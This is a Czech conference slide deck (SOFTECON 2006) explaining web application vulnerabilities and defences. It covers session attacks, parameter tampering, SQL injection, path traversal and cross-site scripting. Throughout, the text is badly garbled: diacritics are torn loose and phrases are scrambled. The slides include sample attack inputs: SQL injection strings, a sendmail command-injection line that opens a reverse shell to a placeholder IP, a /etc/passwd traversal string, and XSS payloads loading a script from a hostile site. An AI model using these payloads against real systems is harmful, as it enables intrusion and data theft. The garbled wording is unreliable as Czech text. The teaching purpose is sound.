ˇ Bezpecnostnı ´ slabiny webovych ´ aplikacı´ ˇ Pavel Kankovsk y, ´ DCIT Consulting
[email protected] SOFTECON 2006 — 2. 3. 2006
Obsah ´ • Uvod – co jsou webove´ aplikace a cˇ ´ım jsou specificke´
´ uˇzivatelsk´ych seancı´ • Autentizace a sprava – autentizace poˇzadavku˚ – ochrana komunikace mezi klientem a serverem
ˇ mezi klientem a serverem • Duv ˚ era – autorizace poˇzadavku˚ – podvrˇzena´ faleˇsna´ cˇ i upravena´ data
´ anı ´ ´ch ˇr´ıdı´cı´ch a specialnı ´ ´ch dat • Vklad – ruzn ˚ a´ interpretace dat v ruzn´ ˚ ych kontextech – utoky proti serverum ´ ˚ i proti klientum ˚
´ ´ er ˇ • Jak se branit, zav Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
2
Co jsou webove´ aplikace • Architektura klient-server ´ ted’ nezajı´ma´ – vnitˇrnı´ struktura serveru nas
ˇ zn´y webov´y prohlı´zˇ eˇc (MSIE, Firefox atd.) • Klient je beˇ ´ • Uˇzivatelske´ rozhranı´ realizovano ve stylu WWW – HTML, CSS (XHTML, XSL. . . ) – JavaScript (pˇr´ıpadneˇ Java applety, ActiveX. . . )
• Komunikace pomocı´ HTTP a HTTPS pˇres rozlehlou sı´t’ ´ y intranet – typicky Internet/extranet nebo rozsahl´
ˇ • Nezameˇ novat s webov´ymi sluˇzbami ˇ – ovˇsem nekter e´ webove´ aplikace mohou pouˇz´ıvat webove´ sluˇzby ˇ ´ ´ nebo majı´ analogie – nekter e´ problemy jsou spoleˇcne, Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
3
ˇ Bezpecnostnı ´ specifika webovych ´ aplikacı´ I ´ obvykle zcela mimo kontrolu vlastnı´ka • Provoz klientske´ cˇ asti ” ´ aplikace“ (narozdı´l od serverove´ cˇ asti) • Klientsk´y software (ˇcili prohlı´zˇ eˇc) sdı´len ruzn´ ˚ ymi aplikacemi ´ ˇ rujı´ – tyto aplikace si vzajemn eˇ neduv ˚ eˇ – separace aplikacı´ je na bedrech prohlı´zˇ eˇce (ehm, ehm. . . )
ˇ • Komunikace probı´ha´ skrz neduv e´ prostˇredı´ ˚ eryhodn ´ ´ Wi-Fi → ISP klienta → pateˇ ´ rnı´ sı´t’ 1 → pateˇ ´ rnı´ sı´t’ 2 → – klient → domacı ISP serveru → server (tady to muˇ ˚ ze pokraˇcovat)
´ ´ ruzn ´ ´ ´ ´ • Data jsou pˇri zpracovanı ana a dekodov ana ˚ eˇ kodov ´ → XML → XHTML → HTTP → DOM → uˇzivatel – databaze ´ – uˇzivatel → DOM → URL encoding → HTTP → SQL → databaze
Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
4
ˇ Bezpecnostnı ´ specifika webovych ´ aplikacı´ II ´ • Webove´ aplikace jsou cˇ asto pˇr´ıstupne´ sˇ irokemu okruhu osob ˇ s otevˇrenou registracı´) – veˇrejneˇ pˇr´ıstupna´ cela´ aplikace (anonymne, ´ r) – veˇrejneˇ pˇr´ıstupn´y vstupnı´ bod (pˇrihlaˇsovacı´ formulaˇ
ˇ any ´ internı´ systemy ´ • V mnoha pˇr´ıpadech jsou zpˇr´ıstupnov ´ prostˇredı´! – nepˇripravene´ na provoz ve vysoce rizikovem
´ cˇ asto lidova´ tvoˇrivost“ • Webove´ aplikace jsou velmi ruznorod e, ˚ ”
´ aplikaci na zakazku, ´ ´ na – jak ˇr´ıka´ kolega Karel Miko: kdyˇz mate tak mate ” ´ zakazku i jejı´ chyby“ (vˇcetneˇ bezpeˇcnostnı´ch slabin) – ovˇsem standardnı´ aplikace cˇ i platformy take´ nejsou bez chyb
´ • Utoky obvykle vedeny aˇz na aplikaˇcnı´ vrstveˇ – mimo zorne´ pole obrann´ych mechanismu˚ na niˇzsˇ ´ıch urovnı ´ch ´ – sˇ ifrovana´ komunikace + firewall (nebo IDS cˇ i IPS) = Hlava 22 Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
5
Identifikace a autentizace uˇzivatelu˚ ˇ s´ı metodou je jmeno ´ ´ ´ re • Nejˇcastejˇ a heslo zadavan e´ do formulaˇ ´ – vˇsechny klasicke´ problemy s autentizacı´ pomocı´ hesel ´ ˇ’ – nov´y problem“ – spyware, keyloggery a podobna´ havet ”
ˇ (hesla) lze dale ´ pokazit. . . (to platı´ obecne) ˇ • I sˇ patnou vec ´ anı ´ ´ hesel – absence detekce a prevence had ´ ´ ´ eho ´ ´ ´ – rozliˇsenı´ chybneho jmena od spravn jmena a chybneho hesla ´ ´ utok“) – omezenı´ mnoˇziny platn´ych hesel (PINy, horizontalnı ´ ” – zapamatovana´ hesla v prohlı´zˇ eˇci
´ eˇ cˇ aste´ • Ostatnı´ metody men ´ eˇ kvalitnı´ metody lze pokazit – . . . ale i principialn ˇ rovanı ´ ´ znalosti privatnı ´ ´ho klı´cˇ e pomocı´ generovanı ´ ´ – pˇr´ıklad 1: oveˇ ´ ´ho podpisu pro konstantnı´ vstup digitalnı ´ ´ klientskeho ´ ´ od neverohodn ˇ – pˇr´ıklad 2: akceptovanı certifikatu e´ CA Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
6
Kontext uˇzivatelskych ´ seancı´ ´ o sobeˇ bezestavov´y protokol • HTTP je sam – neexistuje spolehliv´y vztah mezi uˇzivateli, TCP spojenı´mi, IP adresami ´ ´ – u kaˇzdeho jednotliveho poˇzadavku je tˇreba urˇcit, ke ktere´ seanci patˇr´ı
ˇ senı´: klient do kaˇzdeho ´ ´ a´ identifikator ´ • Reˇ poˇzadavku explicitneˇ vklad ´ ´ seance zı´skan´y (obvykle) od serveru aktualnı ˇ s´ı metoda, napˇr. – cookies – nejˇcastejˇ
ASPSESSIONIDQQBSCTSR=GNAGAAHDFODJFLDMEEBBMPNJ – session cookie vs. persistent cookie ´ URL, napˇr. – cˇ asti
https://www.aplikace.cz/funkce.asp?session=12345678 https://www.aplikace.cz/12345678/funkce.asp ´ ru˚ – skryta´ pole formulaˇ – (std. HTTP autentizace apod. – autentizace uˇzivatele pˇri kaˇzde´ operaci) Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
7
´ Utoky na uˇzivatelske´ seance ´ • Session hijacking: zjistı´-li nepˇr´ıtel identifikator cizı´ seance, muˇ ˚ ze do ´ et ˇ operace cizı´m jmenem ´ nı´ vstoupit a provad ´ • Prozrazenı´ identifikatoru seance ´ anı ´ ´ (absence pˇr´ıznaku secure u cookie) – odposlouchav – udaj v hlaviˇcce Referer pˇri pˇrechodu na jine´ sı´dlo, historie browseru ´
´ ´ • Uhadnutı ´ identifikatoru seance ´ predikovateln´ym zpusobem – jsou-li generovany (napˇr. mala´ cela´ cˇ ´ısla) ˚ ˇ – nekdy lze dokonce vygenerovat zcela fiktivnı´ seanci
´ ˇ anı ´ ´ udaj • Session riding: vyuˇzitı´ automatickeho doplnov ´ u˚ o seanci (cookies) a moˇznosti vstoupit doprostˇred“ aplikace ”
ˇ k pˇrechodu na URL nejak ˇ e´ funkce – nepˇr´ıtel zmanipuluje browser obeti aplikace (pokud moˇzno destruktivnı´) ´ st’ pikantnı´ v kombinaci s automatick´ym pˇrihlaˇsovanı ´ ´m – zvlaˇ
Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
8
Ochrana komunikace mezi klientem a serverem • Kryptograficka´ ochrana komunikace (S v HTTPS) je pro vytvoˇrenı´ ˇ sinou nutna, ´ ale nikoli bezpeˇcne´ webove´ aplikace podmı´nka vetˇ postaˇcujı´cı´. ´ • Chybne´ nebo podezˇrele´ certifikaty ´ vydane´ nejakou ˇ – certifikaty podivnou CA (nebo rovnou self-signed) ´ s jiˇz proˇslou platnostı´, kratk ´ e´ a slabe´ klı´cˇ e – certifikaty ´ – sˇ patne´ koˇrenove´ a jine´ CA certifikaty
´ ´ zabezpeˇceneho ´ ´ • Mixovanı a nezabezpeˇceneho obsahu – cˇ asto pˇri vstupu do aplikace: napˇr. uˇzivatel vstupuje pˇres ˇ an ´ www.aplikace.cz (HTTP) a je automaticky pˇresmerov ´ ˇ ´ pˇrihlaˇsovacı´ho formulaˇ ´ re! – extrem: pˇrechod na HTTPS aˇz po vyplnenı
• Uˇzivatele´ tomu nerozumı´ a vˇsechno bez pˇrem´ysˇ lenı´ odklikajı´ ´ v´ysˇ e popsan´ymi problemy ´ – . . . a jsou v tom jeˇsteˇ utvrzovani Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
9
´ ˇ rivemu ´ Utoky proti duv ˚ eˇ serveru ´ • Klientsk´y software je plneˇ v moci uˇzivatele (i zleho) ˇ ˇ – nepˇr´ıtel muˇ modifikovat, odstranovat, nebo ˚ ze cˇ ´ıst, pozmeˇ novat, opakovaneˇ pouˇz´ıvat veˇskera´ data, ktera´ jeho klient dostane od serveru, ´ nebo naopak jeho klient posı´la´ na server (HTTPS je bezmocne!) ´ ych, – stejneˇ dobˇre muˇ ˚ ze generovat nova´ data, at’ uˇz odvozena´ od realn´ ´ nebo zcela fiktivnı´, a vkladat je do komunikace mezi klientem a serverem ´ ´ en ˇ e´ na klientovi – muˇ operace provad ˚ ze potlaˇcit cˇ i zmanipulovat jakekoli
• Manipulovat je moˇzno opravdu se vˇsemi daty, se kter´ymi klient pracuje. . . – URL – komponenty cesty, parametry ´ ru˚ vˇcetneˇ skryt´ych – pole formulaˇ ´ HTML dokumentu˚ (komentaˇ ´ re), skripty – skryte´ cˇ asti ´ HTTP (User-Agent) – cookies, dalˇs´ı udaje v hlaviˇckach ´ Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
10
Manipulace s URL ˇ anı ´ ´ cˇ astı ´ ´ existujı´cı´ch URL (zejmena ´ • URL tampering: pozmeˇ nov parametru) ˚ • Forceful browsing: vynucen´y pˇrechod na explicitneˇ zadane´ URL ´ v ramci aplikace bez pouˇzitı´ hyperlinku ´ eˇ oˇsetˇreno? • Je toto vˇsechno v aplikaci ˇradn ˇ – mejme aplikaci, ve ktere´ jsou URL tvaru
https://www.aplikace.cz/zobraz_zaznam.asp?id=1287 ˇ identifikator ´ ´ – nepˇr´ıtel muˇ zaznamu ˚ ze zkusit zmenit
https://www.aplikace.cz/zobraz_zaznam.asp?id=1288 – . . . take´ muˇ ˚ ze zkusit hledat stare´ verze skriptu
https://www.aplikace.cz/zobraz_zaznam.asp.old ´ beˇ ˇ zneˇ nepˇr´ıstupne´ funkce – . . . nebo najı´t jine,
https://www.aplikace.cz/admin.asp Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
11
Manipulace se skrytymi ´ hodnotami ˇ jakakoli ´ ˇ ´ • Nepˇr´ıtel muˇ data, ktera´ si u neho server uschova“ ˚ ze zmenit ” ´ r´ıch, cookies. . . – skryta´ pole ve formulaˇ
– obfuskace“ nenı´ dostateˇcna´ ochrana ”
• Poˇzadavek lze modifikovat i na cesteˇ mezi prohlı´zˇ eˇcem a serverem ˇ ´ – mejme aplikaci, kde klient generuje poˇzadavky tvaru (zkraceno) POST /objednavka.asp HTTP/1.1 . . .
Cookie: Zakaznik=56789; Nakupni_kosik=1234:Prvn%ED %20druh%20zbo%BE%ED:590:0,2345:Jin%FD%20druh%20zbo %BE%ED:1990:0,celkem:2580 ´ ´ ← (prazdn´ y ˇradek)
operace=pridat_do_kosiku&objcis=3456&nazev=N%ECco %20%FApln%EC%20jin%E9ho&cena=17990&sleva=0 ˇ ´ nekterou ˇ ´ ´? muˇ – co se stane, kdyˇz nepˇr´ıtel pozmenı z oznaˇcen´ych cˇ astı ˚ ze ˇ cenu zboˇz´ı cˇ i celeho ´ ´ nakupovat na cizı´ uˇ nakupu? ´ cet? muˇ ˚ ze menit Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
12
´ r´ıch Manipulace s hodnotami ve formulaˇ ´ ru˚ jakekoli ´ • Nepˇr´ıtel muˇ nesmyslne´ hodnoty ˚ ze zadat do formulaˇ ´ – omezenı´ dane´ strukturou a parametry vstupnı´ch polı´ (max. delky hodnot, ˇ ych polı´) lze obejı´t v´ycˇ ty hodnot u v´yberov´ ´ ´ – omezenı´ implementovana´ skripty (svazan´ ymi s udalostmi onkeypress, onblur, onsubmit apod.) lze take´ obejı´t
• Je mnoho zpusob u, ˚ ˚ jak obejı´t kontrolu vstupu˚ na klientovi ˇ anı ´ ´ dat behem ˇ – pozmeˇ nov komunikace (viz pˇredchozı´ slajd) ´r – uprava HTML dokumentu obsahujı´cı´ho formulaˇ ´ ´ – manipulace s daty pomocı´ skriptoveho debuggeru ˇ ˇ ´ vlastnı´ch skriptu˚ – libovoln´y prohlı´zˇ eˇc umoˇznuje operativnı´ spouˇstenı ´ pomocı´ URL schematu javascript:, napˇr.
javascript:void(document.forms[0].cena.value=1) javascript:void(document.forms[0].submit()) Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
13
´ ´ anı ´ ´ rˇ´ıdı´cı´ch dat Utoky vyuˇz´ıvajı´cı´ vklad • Implementace webov´ych aplikacı´ komunikujı´ ruzn´ ˚ ymi jazyky ´ – SQL pˇri komunikaci s databazemi ´ ´ dat na klienta – HTML (+ JavaScript) pˇri posı´lanı – a jine´ (shell, LDAP, XML, XPath, samotne´ HTTP. . . )
• Kaˇzd´y pouˇz´ıvan´y jazyk ma´ specifickou syntaxi a specificke´ ˇr´ıdı´cı´ znaky cˇ i sekvence znaku˚ ´ ˇ ´cı´ mod ´ jazyka z dat na pˇr´ıkazy – zejmena zajı´mave´ jsou znaˇcky menı – napˇr. apostrofy v SQL, < a > v HTML (a XML) atd. ´ ´ – nikdy nevı´me, jaka´ temna´ zakoutı ´ lze v parseru nalezt obecna´ pouˇcka: je tˇreba explicitneˇ povolovat a ne explicitneˇ zakazovat!
ˇ ´ z techto ˇ • Kus dat vloˇzen´y do (kon)textu v nekter em jazyku˚ muˇ ˚ ze ´ ´ nab´yt naprosto neoˇcekavan eho v´yznamu – . . . tedy z pohledu tvurce dane´ aplikace ˚ Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
14
SQL injection I ˇ • SQL injection: situace, kdy jsou neduv a´ textova´ data bez ˚ eryhodn ´ ana ´ patˇriˇcne´ kontroly vklad doslova do SQL dotazu˚ cˇ i pˇr´ıkazu˚ ˇ – nepˇr´ıtel muˇ dotazy a dotazovat se na data, ke kter´ym ˚ ze pozmeˇ novat ˇ mı´t pˇr´ıstup (napˇr. cˇ ´ısla cizı´ch kreditnı´ch karet) vubec nemel ˚ ˇ ´ neopravn ´ en ˇ eˇ modifikovat, – nepˇr´ıtel muˇ dokonce i data v databazi ˚ ze nekdy ˇ programy atd. spouˇstet
´ ˇ dotazu • Nazorn´ y pˇr´ıklad jednoduche´ zmeny ˇ – mejme aplikaci, ktera´ pro vstup
Josef Nov´ ak“ vygeneruje dotaz select * from Osoby where Jmeno=’Josef Nov´ ak’ ”
´ – pˇredpokladejme, zˇ e aplikace je ochotna do dotazu doslovneˇ a beze ˇ vloˇzit upln ´ zmeny vstupnı´ data ´ eˇ jakakoli – pokud nepˇr´ıtel zada´ jako vstup ’ or ’’=’“ bude v´ysledkem dotaz ”
select * from Osoby where Jmeno=’’ or ’’=’’ s podstatneˇ odliˇsn´ym v´yznamem
Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
15
SQL injection II • Lze se dotazovat i na jine´ tabulky ´ – nejlepe pouˇzitı´m spojky union, napˇr.
select * from Osoby where Jmeno = ’’ and 1=0 union all select ’a’, ’b’, sloupec1, sloupec2, ’c’ from Tajna tabulka--’ – take´ lze pouˇz´ıt vnoˇrene´ dotazy, joiny. . . ´ ´ lze uhadnout ´ – schema databaze nebo zjistit z metadat
ˇ ´ poˇzadovaneho ´ • Nekdy aplikace vracı´ jen cˇ ast v´ysledku dotazu ˇ ˇradek ´ – jen nekolik – postupneˇ iterovat podle hodnot klı´cˇ e ˇ – jen nekolik sloupcu˚ – konkatenovat nebo poloˇzit vı´c samostatn´ych dotazu˚
• Blind SQL injection: SQL injection, pˇri ktere´ se vracı´ informace jen ´ (v´yskyt chyby, doba zpracovanı ´ ´ poˇzadavku atd.) postrannı´mi kanaly ˇ informaci na jednotlive´ bity a dotazovat se postupneˇ – rozdelit Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
16
SQL injection III • Vloˇzenı´ apostrofu nenı´ nezbytna´ podmı´nka ˇ – neduv a´ data nemusı´ b´yt obklopena apostrofy (ˇc´ıselne´ udaje, ˚ eryhodn ´ ´ ´ dotazu) pˇr´ıpadneˇ jmena sloupcu, ˚ tabulek atd., i cele´ cˇ asti ˚ ´ – viz obecnou pouˇcku o temn´ych zakoutı ´ch parseru
• Nenı´ tˇreba se omezovat jen na cˇ tenı´ dat ˇ ˇ ´ dotaz transformovat na sekvenci dotazu, – nekter e´ dialekty umoˇznujı ˚ DML ´ ´ uloˇzen´ych procedur aj. (pˇr´ımo nebo nepˇr´ımo pˇres pˇr´ıkazu, ˚ volanı ´ systemovou funkci a` la xmlgen.getXML v Oracle) ´ ´ – databazov e´ stroje poskytujı´ ˇradu zajı´mav´ych systemov´ ych procedur a funkcı´ (xp_cmdshell v MS SQL, balı´ky utl_* v Oracle. . . ) ´ ´ ´ – lze utoˇ databazov eho stroje ´ cit na slabiny samotneho ´ ´ – lze utoˇ eho serveru (ˇcasto vnitˇrnı´ sı´t’) ´ cit na okolı´ databazov
Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
17
ˇ ´ moˇznosti vklad ´ anı ´ ´ pˇr´ıkazu˚ Dalsı ´ ´ shellov´ych (a jin´ych) pˇr´ıkazu˚ • Sestavovanı ´ ´ elektronicke´ poˇsty na
[email protected] pˇr´ıkazem – napˇr. odesı´lanı
/usr/lib/sendmail -oi ’
[email protected]’ ´ ´m textu obsahujı´cı´ho ˇr´ıdı´cı´ znak (apostrof, ale pozor na Bash 1.x!) – zadanı ´ ´ napˇr. reverznı´ shell“ lze do generovaneho pˇr´ıkazu vloˇzit dalˇs´ı kod, ”
/usr/lib/sendmail -oi ’
[email protected]’; (sleep 9999|telnet 1.2.3.4 25|sh 2>&1| telnet 1.2.3.4 25) /dev/null 2>&1 ’
´ ´ a • Moˇznost nahravat na server soubory pod libovoln´ymi jmeny ˇ na neˇ pˇristupovat pozdeji ´ jazyce (napˇr. ASP), nahrat ´ ho na server – staˇc´ı vyrobit skript v patˇriˇcnem ´ s vhodn´ym jmenem (xyz.asp) a pˇristoupit na odpovı´dajı´cı´ URL – server pˇredloˇzen´y skript vykona´
´ .. • A tak dale. Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
18
´ Manipulace se jmeny souboru˚ ˇ ´ • Neduv a´ data mohou b´yt take´ pouˇzita jako jmena souboru˚ ˚ eryhodn ´ nebo jejich cˇ asti ´ – soubory se zpracovavan´ ymi vstupnı´mi daty ´ – soubory obsahujı´cı´ sˇ ablony generovan´ych stranek ´ z se ostatneˇ deje ˇ i pˇr´ımo v beˇ ˇ znem ´ HTTP serveru – toteˇ ´ ´ se soubory, se kter´ymi se pracovat – nepˇr´ıtel muˇ prace ˚ ze dosahnout ˇ (vyzrazenı´ duv ˇ ych dat, poˇskozenı´ souboru, nemelo na ˚ ern´ ˚ nepˇr´ım´y utok ´ ´ kter´y s daty pracuje – tzv. second order attack) kod,
´ ´ • Path traversal: uprava pouˇz´ıvaneho jmena souboru tak, aby byla pˇri ´ ´ ´ opuˇstena ˇ ´ ´ jeho zpracovanı vyhrazena´ oblast souboroveho systemu ˇ ˇ eˇ frekventovanou konstrukci v jazyce PHP – mejme napˇr. tuto pomern if (file_exists. . . ) include("$dir/$parametr.php"); – nepˇr´ıtel zada´ parametr ../../../../../../etc/passwd%00 ´ ´m v´yznamem znaku s kodem ´ – kombinace se specialnı 0 Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
19
HTML injection ˇ • HTML injection: situace, kdy jsou neduv a´ textova´ data bez ˚ eryhodn ´ ana ´ patˇriˇcne´ kontroly vklad doslova do generovan´ych dokumentu˚ v jazyce HTML ´ ´ stavov´ych (zejmena ´ – cˇ asto se vyskytuje pˇri vypisovanı chybov´ych) ´ senı´, kdy je do dokumentu opsana ´ hlaˇ hodnota zadan´ych parametru, ˚ ´ senı´ Osoba Nesmysl nebyla nalezena!“ se muˇ napˇr. hlaˇ ˚ ze ” ˇ na hlaˇ ´ senı´ Osoba
nebyla nalezena!“ promenit ” ´ – lze samo o sobeˇ pouˇz´ıt pro vytvoˇrenı´ faleˇsneho obsahu dokumentu ´ ´ anı ´ ´ skriptu, ´ – zejmena zajı´mava´ je moˇznost vklad ˚ viz dale
´ skriptu? • Odboˇcka: jak prohlı´zˇ eˇc urˇcuje pˇr´ıstupova´ prava ˚ ´ ze sı´dla S, pak ma´ pˇr´ıstup ke – zhruba platı´, zˇ e pokud byl skript zı´skan ´ vˇsemu z S (naˇctene´ stranky, cookies, XMLHTTP) – tento mechanismus se naz´yva´ same origin policy (SOP) Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
20
Cross-site scripting I • Cross-site scripting (zkratka XSS): vyuˇzitı´ HTML injection ´ ´“ skriptu˚ do cizı´ webove´ aplikace k propaˇsovanı ”
´ aplikace a SOP ji pˇridelı ˇ´ – prohlı´zˇ eˇc povaˇzuje skript za autentickou souˇcast pˇr´ıstup ke zbytku aplikace ´ jmena ´ – takov´y skript muˇ a hesla, cookies a jina´ data ˚ ze krast ´ et ˇ operace v ramci ´ – muˇ aplikace ˚ ze take´ aktivneˇ provad – muˇ ˚ ze za chodu pˇrijı´mat dalˇs´ı instrukce
´ • Skripty lze do dokumentu vkladat ruzn´ ˚ ymi zpusoby ˚ ´ ˇ – zakladnı ´ cesta je tag <script>, umoˇznuje mj. naˇc´ıtat cele´ soubory ze zadan´ych URL, napˇr. Osoba <script src="https:// ” www.zly-web.cz/skodic.js"> nebyla nalezena!“ ´ eˇ on* – lze pouˇz´ıt atributy ruzn´ ˚ ych tagu, ˚ specialn ´ – automaticky naˇc´ıtana´ URL (obrazky, stylesheety) Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
21
Cross-site scripting II • Pokusy o XSS lze ruzn ˚ eˇ maskovat ´ eˇ obvykle´ zpusoby ´ ´ ´ textu˚ – men kodov anı ˚ ´ ´ch parseru˚ (zejmena ´ – specificke´ vlastnosti konkretnı MSIE) – pˇr´ıklad:
src="adresar/soubor.jpg"style= background:url(javascript:alert(666))>
ˇ putovat ruzn´ • Skripty mohou od nepˇr´ıtele k obeti ˚ ymi cestami ˇ ’ musı´ b´yt napˇr. – reflected XSS – aplikace opisuje sve´ vstupy, obet ´ ´ stev ˇ eˇ zvlaˇ ´ stnı´ho URL zmanipulovana k navˇ ˇ ych dat a – stored XSS – jeden uˇzivatel aplikace skript vloˇz´ı do nejak´ ˇ ’ prohlı´zˇ ´ı data (diskuse, e-mail, aplikace ho neopatrneˇ opı´sˇ e, kdyˇz si obet e-banking!) ´ stnı´ pˇr´ıpad, kdy s daty neopatrneˇ manipuluje – DOM-based XSS – zvlaˇ ´ na klientovi (viz teˇ ´ z nekter ˇ ´ e´ slabiny v Mozille) pˇr´ımo kod e´ nedavn Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
22
ˇ ´ moˇznosti vklad ´ anı ´ ´ rˇ´ıdı´cı´ch dat Dalsı ˇ server, aby do hlaviˇcky • HTTP response splitting: nepˇr´ıtel pˇrimeje ´ (typicky Location) opsal zadan´y text vˇcetneˇ koncu˚ ˇradek a tak ˇ rozdelil ˇ na dveˇ svou odpoved’ ´ rozdelen ˇ e´ odpovedi ˇ – dalˇs´ı dotaz od klienta pouˇzije druhou cˇ ast ´ – otravenı ´ obsahu HTTP keˇse – zrcadlov´y obraz na straneˇ klienta, tzv. HTTP request smuggling (zl´y ´ z analogick´y tradiˇcnı´ problem ´ s FTP skript + XMLHTTP), teˇ
• Dalˇs´ı dotazovacı´ jazyky ˇ dotazovanou tˇr´ıdu objektu˚ – LDAP – lze napˇr. menit – XPath – lze poslepu (!) zı´skat cel´y dokument
• Externı´ entity v XML – XML parser je donucen pˇreˇc´ıst zadan´y soubor
´ .. • A tak dale. Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
23
´ Jak se branit? • Programovat tak, aby nevznikaly slabiny ˇ – vˇsechna data od klienta (pˇr´ımo cˇ i nepˇr´ımo) jsou neduv a´ ˚ eryhodn ´ i – u vˇsech vstupnı´ch dat vˇzdy kontrolovat/zajiˇst’ovat syntaxi (format) ´ ´ kontextu, pˇr´ıstupova´ prava) ´ semantiku (smysluplnost v danem – specifikovat povolene´ hodnoty, nikoli naopak ´ barikady ´ – pouˇz´ıvat ruzn ˚ e´ hodnoty na ruzn´ ˚ ych stranach ´ ˇ ´ – v pˇr´ıpadeˇ potˇreby data kodovat cˇ i odstranovat problematicke´ cˇ asti, ale ˇ opatrneˇ (cviˇcenı´: odstrante text“ z tetextxt“) ” ”
ˇ rovat, zda je to naprogramovano ´ • Proveˇ bezpeˇcneˇ – blackbox testing (typick´y penetraˇcnı´ test) ´ – whitebox testing, audit kodu ´ ´ verifikace – formalnı Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
24
´ er ˇ Zav ´ ˇ siny popsan´ych problem ´ u˚ je • Zakladnı ´m spoleˇcn´ym rysem vetˇ ´ s neduv ˇ neopatrna´ prace ymi daty ˚ eryhodn´ ˇ a´ autentiˇcnost – nedostateˇcneˇ zajiˇsten ˇ a´ integrita – nedostateˇcneˇ zajiˇsten ´ – neˇzadoucı ´ intepretace dat (server i klient)
´ • Udrˇzet si naskok pˇred nepˇr´ıtelem ´ ´ stavy a chovanı ´ ´ aplikace – monitorovat anomalnı – sledovat objevy nov´ych slabin a druhu˚ slabin
• Existuje mnoho dalˇs´ıch typu˚ slabin, ktere´ se vyskytujı´ i ve webov´ych ´ aplikacı´ch, ale nebyly diskutovany ´ – klasicke´ problemy jako pˇreteˇcenı´ pole, race condition. . . – logicke´ chyby (viz podvody v MMORG) Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
25
ˇ pˇratel ´ e. ´ .. A to je vse,
Dotazy?
Bezpeˇcnostnı´ slabiny webov´ych aplikacı´ — SOFTECON 2006
26